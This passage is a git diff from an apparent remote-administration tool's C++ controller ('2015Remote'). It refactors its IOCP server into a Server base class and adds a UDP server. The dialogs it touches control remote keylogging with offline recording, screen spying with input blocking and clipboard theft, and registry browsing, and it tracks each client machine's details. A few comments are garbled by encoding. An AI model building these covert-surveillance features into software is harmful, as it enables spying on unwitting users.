- HANDLE hDlg;
- void *olps; // OVERLAPPEDPLUS
- int CompressMethod; // 压缩算法
- HeaderParser Parser; // 解析数据协议
- uint64_t ID; // 唯一标识
-
- BOOL m_bProxyConnected; // 代理是否连接
- BOOL bLogin; // 是否 login
- std::string PeerName; // 对端IP
-
- VOID InitMember(SOCKET s)
- {
- memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
- hWnd = NULL;
- hDlg = NULL;
- sClientSocket = s;
- PeerName = ::GetPeerName(sClientSocket);
- memset(&wsaInBuf, 0, sizeof(WSABUF));
- memset(&wsaOutBuffer, 0, sizeof(WSABUF));
- olps = NULL;
- for (int i = 0; i < ONLINELIST_MAX; i++) {
- sClientInfo[i].Empty();
- }
- for (int i = 0; i < RES_MAX; i++) {
- additonalInfo[i].Empty();
- }
- CompressMethod = COMPRESS_ZSTD;
- Parser.Reset();
- bLogin = FALSE;
- m_bProxyConnected = FALSE;
- }
- VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector& a = {}) {
- for (int i = 0; i < ONLINELIST_MAX; i++)
- {
- sClientInfo[i] = s[i];
- }
- for (int i = 0; i < a.size(); i++) {
- additonalInfo[i] = a[i].c_str();
- }
- }
- PBYTE GetBuffer(int offset) {
- return InDeCompressedBuffer.GetBuffer(offset);
- }
- ULONG GetBufferLength() {
- return InDeCompressedBuffer.GetBufferLength();
- }
- std::string GetPeerName() const {
- return PeerName;
- }
- CString GetClientData(int index) const{
- return sClientInfo[index];
- }
- void GetAdditionalData(CString(&s)[RES_MAX]) const {
- for (int i = 0; i < RES_MAX; i++)
- {
- s[i] = additonalInfo[i];
- }
- }
- void CancelIO() {
- SAFE_CANCELIO(sClientSocket);
- }
- BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
- return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
- }
- BYTE GetBYTE(int offset) {
- return InDeCompressedBuffer.GetBYTE(offset);
- }
- // Write compressed buffer.
- void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
- if (Parser.IsParsed()) {
- ULONG totalLen = dataLen + Parser.GetHeaderLen();
- BYTE szPacketFlag[32] = {};
- const int flagLen = Parser.GetFlagLen();
- memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
- if (Parser.IsEncodeHeader())
- encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
- OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
- OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
- if (Parser.GetFlagType() == FLAG_WINOS) {
- memcpy(szPacketFlag, Parser.GetFlag(), 10);
- OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
- }else {
- OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
- InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
- }
- Encode2(data, dataLen, szPacketFlag);
- OutCompressedBuffer.WriteBuffer(data, dataLen);
- }
- }
- // Read compressed buffer.
- PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) {
- if (Parser.IsParsed()) {
- ULONG totalLen = 0;
- BYTE szPacketFlag[32] = {};
- InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
- InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
- if (Parser.GetFlagType() == FLAG_WINOS) {
- InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
- } else {
- InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
- }
- dataLen = totalLen - Parser.GetHeaderLen();
- PBYTE CompressedBuffer = new BYTE[dataLen];
- InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
- Decode2(CompressedBuffer, dataLen, szPacketFlag);
- return CompressedBuffer;
- }
- return nullptr;
- }
- // Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
- PR Parse(CBuffer& buf) {
- return Parser.Parse(buf, CompressMethod);
- }
- // Encode data before compress.
- void Encode(PBYTE data, int len) const {
- Parser.GetEncoder()->Encode((unsigned char*)data, len);
- }
- // Decode data after uncompress.
- void Decode(PBYTE data, int len) const {
- Parser.GetEncoder()->Decode((unsigned char*)data, len);
- }
- // Encode data after compress.
- void Encode2(PBYTE data, int len, PBYTE param) const {
- Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
- }
- // Decode data before uncompress.
- void Decode2(PBYTE data, int len, PBYTE param) const {
- Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
- }
- std::string RemoteAddr() const {
- sockaddr_in ClientAddr = {};
- int ulClientAddrLen = sizeof(sockaddr_in);
- int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
- return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
- }
- static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
- int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
- CString s;
- for (int i = 0; i < 5; i++) {
- s += data[idx[i]] + "|";
- }
- s.Delete(s.GetLength() - 1);
- return XXH64(s.GetString(), s.GetLength(), 0);
- }
- uint64_t GetID() const { return ID; }
- void SetID(uint64_t id) { ID = id; }
-}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
-
-typedef CList ContextObjectList;
-
-class IOCPServer
-{
-public:
- SOCKET m_sListenSocket;
- HANDLE m_hCompletionPort;
- UINT m_ulMaxConnections; // 最大连接数
- HANDLE m_hListenEvent;
- HANDLE m_hListenThread;
- BOOL m_bTimeToKill;
- HANDLE m_hKillEvent;
-
- ULONG m_ulThreadPoolMin;
- ULONG m_ulThreadPoolMax;
- ULONG m_ulCPULowThreadsHold;
- ULONG m_ulCPUHighThreadsHold;
- ULONG m_ulCurrentThread;
- ULONG m_ulBusyThread;
+// ZLIB 压缩库
+#include "zlib/zlib.h"
+#if USING_LZ4
+#include "lz4/lz4.h"
+#pragma comment(lib, "lz4/lz4.lib")
+#define C_FAILED(p) (0 == (p))
+#define C_SUCCESS(p) (!C_FAILED(p))
+#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
+#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
+#else // ZSTD
+#include "zstd/zstd.h"
+#ifdef _WIN64
+#pragma comment(lib, "zstd/zstd_x64.lib")
+#else
+#pragma comment(lib, "zstd/zstd.lib")
+#endif
+#define C_FAILED(p) ZSTD_isError(p)
+#define C_SUCCESS(p) (!C_FAILED(p))
+#define ZSTD_CLEVEL 5
#if USING_CTX
- ZSTD_CCtx* m_Cctx; // 压缩上下文
- ZSTD_DCtx* m_Dctx; // 解压上下文
+#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
+#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
+#else
+#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
+#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
+#endif
#endif
- CCpuUsage m_cpu;
- ULONG m_ulKeepLiveTime;
+class IOCPServer : public Server
+{
+ typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
+ typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
+protected:
+ SOCKET m_sListenSocket;
+ HANDLE m_hCompletionPort;
+ UINT m_ulMaxConnections;
+ HANDLE m_hListenEvent;
+ HANDLE m_hListenThread;
+ BOOL m_bTimeToKill;
+ HANDLE m_hKillEvent;
+ ULONG m_ulThreadPoolMin;
+ ULONG m_ulThreadPoolMax;
+ ULONG m_ulCPULowThreadsHold;
+ ULONG m_ulCPUHighThreadsHold;
+ ULONG m_ulCurrentThread;
+ ULONG m_ulBusyThread;
- typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
- typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
- UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
+#if USING_CTX
+ ZSTD_CCtx* m_Cctx; // 压缩上下文
+ ZSTD_DCtx* m_Dctx; // 解压上下文
+#endif
+ ULONG m_ulKeepLiveTime;
+ pfnNotifyProc m_NotifyProc;
+ pfnOfflineProc m_OfflineProc;
+ ULONG m_ulWorkThreadCount;
+ CRITICAL_SECTION m_cs;
+ ContextObjectList m_ContextConnectionList;
+ ContextObjectList m_ContextFreePoolList;
+
+private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
- BOOL InitializeIOCP(VOID);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
- ULONG m_ulWorkThreadCount;
- VOID OnAccept();
- CRITICAL_SECTION m_cs;
- /************************************************************************/
- //上下背景文对象
- ContextObjectList m_ContextConnectionList;
- ContextObjectList m_ContextFreePoolList;
+ BOOL InitializeIOCP(VOID);
+ VOID OnAccept();
PCONTEXT_OBJECT AllocateContext(SOCKET s);
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
-
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
-
- int AddWorkThread(int n) {
- EnterCriticalSection(&m_cs);
+ BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
+ BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
+ BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
+ VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
+ BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
+ int AddWorkThread(int n) {
+ EnterCriticalSection(&m_cs);
m_ulWorkThreadCount += n;
int ret = m_ulWorkThreadCount;
LeaveCriticalSection(&m_cs);
return ret;
}
- /************************************************************************/
- //请求得到完成
- BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
- BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
- BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
- VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
- VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
- OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
- }
+public:
+ IOCPServer(void);
+ ~IOCPServer(void);
+
+ UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
+
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
}
- BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
+
void UpdateMaxConnection(int maxConn);
- IOCPServer(void);
- ~IOCPServer(void);
+
void Destroy();
void Disconnect(CONTEXT_OBJECT *ctx){}
- pfnNotifyProc m_NotifyProc;
- pfnOfflineProc m_OfflineProc;
};
typedef IOCPServer ISocketBase;
-#define TRACK_OVERLAPPEDPLUS 0
-
-class OVERLAPPEDPLUS
-{
-public:
-
- OVERLAPPED m_ol;
- IOType m_ioType;
-
- OVERLAPPEDPLUS(IOType ioType)
- {
-#if TRACK_OVERLAPPEDPLUS
- char szLog[100];
- sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
- Mprintf(szLog);
-#endif
- ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
- m_ioType = ioType;
- }
-
- ~OVERLAPPEDPLUS()
- {
-#if TRACK_OVERLAPPEDPLUS
- char szLog[100];
- sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
- Mprintf(szLog);
-#endif
- }
-};
-
typedef IOCPServer CIOCPServer;
typedef CONTEXT_OBJECT ClientContext;
@@ -494,12 +129,12 @@ typedef CONTEXT_OBJECT ClientContext;
class CDialogBase : public CDialog {
public:
CONTEXT_OBJECT* m_ContextObject;
- IOCPServer* m_iocpServer;
+ Server* m_iocpServer;
CString m_IPAddress;
bool m_bIsClosed;
bool m_bIsProcessing;
HICON m_hIcon;
- CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
+ CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
m_bIsClosed(false), m_bIsProcessing(false),
m_ContextObject(pContext),
m_iocpServer(pIOCPServer),
diff --git a/server/2015Remote/IOCPUDPServer.cpp b/server/2015Remote/IOCPUDPServer.cpp
new file mode 100644
index 0000000..dc543a2
--- /dev/null
+++ b/server/2015Remote/IOCPUDPServer.cpp
@@ -0,0 +1,164 @@
+#include "stdafx.h"
+#include "IOCPUDPServer.h"
+#include
+#include
+
+IOCPUDPServer::IOCPUDPServer() {
+ WSADATA wsaData;
+ WSAStartup(MAKEWORD(2, 2), &wsaData);
+}
+
+IOCPUDPServer::~IOCPUDPServer() {
+ WSACleanup();
+}
+
+UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
+ if (m_running) return 1;
+
+ m_notify = NotifyProc;
+ m_offline = OffProc;
+
+ m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
+ if (m_socket == INVALID_SOCKET) return 2;
+
+ sockaddr_in addr{};
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(uPort);
+ addr.sin_addr.s_addr = INADDR_ANY;
+
+ if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
+
+ m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
+ if (!m_hIOCP) return 4;
+
+ m_running = true;
+
+ // 启动工作线程
+ m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
+ ((IOCPUDPServer*)param)->WorkerThread();
+ return 0;
+ }, this, 0, NULL);
+
+ // 提交多个初始接收
+ for (int i = 0; i < 4; ++i)
+ PostRecv();
+
+ return 0; // 成功
+}
+
+void IOCPUDPServer::PostRecv() {
+ if (!m_running) return;
+
+ AddCount(1);
+ CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
+ ctx->InitMember(m_socket);
+
+ IO_CONTEXT* ioCtx = new IO_CONTEXT();
+ ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
+ ioCtx->pContext = ctx;
+
+ ctx->wsaInBuf.buf = ctx->szBuffer;
+ ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
+ ctx->addrLen = sizeof(sockaddr_in);
+
+ DWORD flags = 0;
+ int err = WSARecvFrom(
+ m_socket,
+ &ctx->wsaInBuf,
+ 1,
+ NULL,
+ &flags,
+ (sockaddr*)&ctx->clientAddr,
+ &ctx->addrLen,
+ &ioCtx->ol,
+ NULL
+ );
+
+ if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
+ DWORD err = WSAGetLastError();
+ Mprintf("[IOCP] PostRecv error: %d\n", err);
+ delete ioCtx;
+ delete ctx;
+ AddCount(-1);
+ }
+}
+
+void IOCPUDPServer::WorkerThread() {
+ while (m_running) {
+ DWORD bytes = 0;
+ ULONG_PTR key = 0;
+ LPOVERLAPPED pOverlapped = nullptr;
+
+ BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE);
+ if (!ok) {
+ DWORD err = WSAGetLastError();
+ Mprintf("[IOCP] PostRecv error: %d\n", err);
+ if (pOverlapped) {
+ IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
+ delete ioCtx->pContext;
+ delete ioCtx;
+ AddCount(-1);
+ }
+ continue;
+ }
+ if (!pOverlapped) continue;
+
+ IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
+ CONTEXT_OBJECT* ctx = ioCtx->pContext;
+
+ if (m_notify)
+ m_notify(ctx);
+
+ // 释放
+ delete ioCtx;
+ delete ctx;
+ AddCount(-1);
+
+ PostRecv(); // 继续提交
+ }
+}
+
+VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
+ WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer };
+ DWORD sent = 0;
+ int err = WSASendTo(
+ ContextObject->sClientSocket,
+ &buf,
+ 1,
+ &sent,
+ 0,
+ (sockaddr*)&ContextObject->clientAddr,
+ sizeof(sockaddr_in),
+ NULL,
+ NULL
+ );
+ if (err == SOCKET_ERROR) {
+ DWORD err = WSAGetLastError();
+ Mprintf("[IOCP] Send2Client error: %d\n", err);
+ }
+}
+
+VOID IOCPUDPServer::Destroy() {
+ if (m_socket != INVALID_SOCKET) {
+ CancelIoEx((HANDLE)m_socket, NULL); // 取消所有IO请求
+ closesocket(m_socket);
+ m_socket = INVALID_SOCKET;
+ }
+
+ while (GetCount())
+ Sleep(200);
+
+ m_running = false;
+ PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // 用于唤醒线程退出
+
+ if (m_hThread) {
+ WaitForSingleObject(m_hThread, INFINITE);
+ CloseHandle(m_hThread);
+ m_hThread = NULL;
+ }
+
+ if (m_hIOCP) {
+ CloseHandle(m_hIOCP);
+ m_hIOCP = NULL;
+ }
+}
diff --git a/server/2015Remote/IOCPUDPServer.h b/server/2015Remote/IOCPUDPServer.h
new file mode 100644
index 0000000..cb2291a
--- /dev/null
+++ b/server/2015Remote/IOCPUDPServer.h
@@ -0,0 +1,46 @@
+#pragma once
+#include
+#include
+#include
+#include "Server.h"
+
+
+class IOCPUDPServer : public Server {
+public:
+ IOCPUDPServer();
+ ~IOCPUDPServer();
+
+ UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
+ VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
+ VOID Destroy() override;
+
+private:
+ void WorkerThread();
+ void PostRecv();
+ void AddCount(int n=1){
+ m_locker.lock();
+ m_count += n;
+ m_locker.unlock();
+ }
+ int GetCount() {
+ m_locker.lock();
+ int n = m_count;
+ m_locker.unlock();
+ return n;
+ }
+private:
+ int m_count = 0;
+ CLocker m_locker;
+ SOCKET m_socket = INVALID_SOCKET;
+ HANDLE m_hIOCP = NULL;
+ HANDLE m_hThread = NULL;
+ bool m_running = false;
+
+ pfnNotifyProc m_notify = nullptr;
+ pfnOfflineProc m_offline = nullptr;
+
+ struct IO_CONTEXT {
+ OVERLAPPED ol;
+ CONTEXT_OBJECT* pContext;
+ };
+};
diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp
index 9e9de90..17a28f6 100644
--- a/server/2015Remote/KeyBoardDlg.cpp
+++ b/server/2015Remote/KeyBoardDlg.cpp
@@ -19,7 +19,7 @@ static char THIS_FILE[] = __FILE__;
// CKeyBoardDlg dialog
-CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
+CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
@@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
- m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
@@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
if (pSysMenu != NULL) {
m_bIsOfflineRecord = !m_bIsOfflineRecord;
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
- m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
@@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
- m_iocpServer->Send(m_ContextObject, &bToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
m_edit.SetWindowText("");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();
diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h
index 2058a26..cdaff42 100644
--- a/server/2015Remote/KeyBoardDlg.h
+++ b/server/2015Remote/KeyBoardDlg.h
@@ -18,7 +18,7 @@ class CKeyBoardDlg : public DialogBase
// Construction
public:
void OnReceiveComplete();
- CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
+ CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CKeyBoardDlg)
diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp
index 3045f6c..e3b9fe6 100644
--- a/server/2015Remote/RegisterDlg.cpp
+++ b/server/2015Remote/RegisterDlg.cpp
@@ -26,7 +26,7 @@ enum KEYVALUE{
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
-CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
+CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
{
m_bIsClosed = FALSE;
@@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
bToken=COMMAND_REG_FIND;
strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x]
- m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
+ m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
m_isEnable = TRUE;
diff --git a/server/2015Remote/RegisterDlg.h b/server/2015Remote/RegisterDlg.h
index 351414e..a9a9764 100644
--- a/server/2015Remote/RegisterDlg.h
+++ b/server/2015Remote/RegisterDlg.h
@@ -10,7 +10,7 @@ class CRegisterDlg : public DialogBase
DECLARE_DYNAMIC(CRegisterDlg)
public:
- CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
+ CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
virtual ~CRegisterDlg();
// 对话框数据
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index e8678f6..a5ceeaa 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -31,7 +31,7 @@ extern "C" void* x265_api_get_192() { return nullptr; }
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
-CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
+CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
{
m_pCodec = nullptr;
@@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
VOID CScreenSpyDlg::SendNext(void)
{
BYTE bToken = COMMAND_NEXT;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
@@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
bToken[1] = !bIsChecked;
- m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
break;
}
case IDM_GET_CLIPBOARD: //鎯宠Client鐨勫壀璐存澘鍐呭
{
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
break;
}
case IDM_SET_CLIPBOARD: //缁欎粬
@@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
szData[0] = COMMAND_SCREEN_CONTROL;
memcpy(szData + 1, Msg, sizeof(MSG64));
szData[length] = 0;
- m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
+ m_iocpServer->Send2Client(m_ContextObject, szData, length);
}
BOOL CScreenSpyDlg::SaveSnapshot(void)
@@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void)
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
- m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
delete[] szBuffer;
}
diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h
index 732ba98..a2c9c11 100644
--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -43,7 +43,7 @@ class CScreenSpyDlg : public DialogBase
DECLARE_DYNAMIC(CScreenSpyDlg)
public:
- CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
+ CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
virtual ~CScreenSpyDlg();
VOID SendNext(void);
diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h
new file mode 100644
index 0000000..afade64
--- /dev/null
+++ b/server/2015Remote/Server.h
@@ -0,0 +1,418 @@
+#pragma once
+
+#include "common/commands.h"
+#include "common/header.h"
+#include "common/encrypt.h"
+
+#include "Buffer.h"
+#define XXH_INLINE_ALL
+#include "xxhash.h"
+
+#define PACKET_LENGTH 0x2000
+
+std::string GetPeerName(SOCKET sock);
+std::string GetRemoteIP(SOCKET sock);
+
+enum
+{
+ ONLINELIST_IP = 0, // IP的列顺序
+ ONLINELIST_ADDR, // 地址
+ ONLINELIST_LOCATION, // 地理位置
+ ONLINELIST_COMPUTER_NAME, // 计算机名/备注
+ ONLINELIST_OS, // 操作系统
+ ONLINELIST_CPU, // CPU
+ ONLINELIST_VIDEO, // 摄像头(有无)
+ ONLINELIST_PING, // PING(对方的网速)
+ ONLINELIST_VERSION, // 版本信息
+ ONLINELIST_INSTALLTIME, // 安装时间
+ ONLINELIST_LOGINTIME, // 活动窗口
+ ONLINELIST_CLIENTTYPE, // 客户端类型
+ ONLINELIST_PATH, // 文件路径
+ ONLINELIST_MAX,
+};
+
+enum {
+ PARSER_WINOS = -2,
+ PARSER_FAILED = -1, // 解析失败
+ PARSER_NEEDMORE = 0, // 需要更多数据
+};
+
+typedef struct PR {
+ int Result;
+ bool IsFailed() const {
+ return PARSER_FAILED == Result;
+ }
+ bool IsNeedMore() const {
+ return PARSER_NEEDMORE == Result;
+ }
+ bool IsWinOSLogin() const {
+ return PARSER_WINOS == Result;
+ }
+}PR;
+
+enum {
+ COMPRESS_UNKNOWN = -2, // 未知压缩算法
+ COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法
+ COMPRESS_ZSTD = 0, // 当前使用的压缩方法
+ COMPRESS_NONE = 1, // 没有压缩
+};
+
+struct CONTEXT_OBJECT;
+
+// Header parser: parse the data to make sure it's from a supported client.
+class HeaderParser {
+ friend struct CONTEXT_OBJECT;
+protected:
+ HeaderParser() {
+ memset(this, 0, sizeof(HeaderParser));
+ }
+ virtual ~HeaderParser() {
+ Reset();
+ }
+ PR Parse(CBuffer& buf, int& compressMethod) {
+ const int MinimumCount = MIN_COMLEN;
